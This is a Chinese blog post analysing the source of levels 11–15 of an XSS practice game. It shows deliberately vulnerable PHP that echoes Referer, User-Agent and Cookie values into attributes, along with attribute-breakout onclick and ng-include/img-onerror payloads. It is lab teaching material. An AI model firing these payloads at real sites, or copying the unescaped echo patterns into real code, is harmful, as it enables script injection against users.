xss小游戏源码分析 (4)

str和str00都html实体化而且不在script标签内部,且闭合为',应该无解,然后发现str33,没有实体化,$_SERVER['HTTP_REFERER']获取httpreferer信息,只是过滤了< > ,可以闭合双引号来绕过,不过我没明白这题啥用

payload:

" type = "text" onclick=alert('xss')//

第十二关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level13.php?keyword=矢志不渝"; } </script> <title>第12关</title> </head> <body> <h1 align=center>第12关 黑人问号</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.htmlspecialchars($str00).'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/f4558b8c-778b-4dd8-bef6-425766f9d178.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:

和上一关一样,xss位置变一下

payload:

" type = "text" onclick=alert('xss')//

第十三关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level14.php"; } </script> <title>第13关</title> </head> <body> <h1 align=center>第13关 做题好爽啊</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.htmlspecialchars($str00).'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/c048c2e3-7937-478b-9781-0ee4d7214648.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:

$_COOKIE["user"];获取cookie,然后过滤< > 没有实体化输入,尝试闭合双引号

payload: user=" type = "text" onclick=alert('xss')// 第十四关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script src="http://chao.jsanhuan.cn/angular.min.js"></script> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level15.php?keyword=业精于勤"; } </script> <title>第14关</title> </head> <h1 align=center>第14关 恭喜你快要通关了</h1> <p align=center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/54c95d0f-037b-4885-a3f4-f8a3ad5c9341.jpg"></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span></span></body>'; ?> 分析:

传入src,然后实体化输出,然后似乎无解,仔细看前面ng-include:,
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以传入其他关的xss,不过不知道这有啥用既然其他地点有xss

xss小游戏源码分析

payload: src='level1.php?name=<img src=http://www.likecs.com/x onerror=alert(1)>'

由于引用的js代码失败,所以我没成功,但云靶机是对的,云靶机地址:https://www.xss.tv/

xss小游戏源码分析

第十五关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("ORZ ORZ ORZ 恭喜全部通过"); window.location.href="success.txt"; } </script> <title>第15关</title> </head> <body> <h1 align=center>第15关 厉害了 Word哥</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("http://www.likecs.com/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html> 分析:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpfygj.html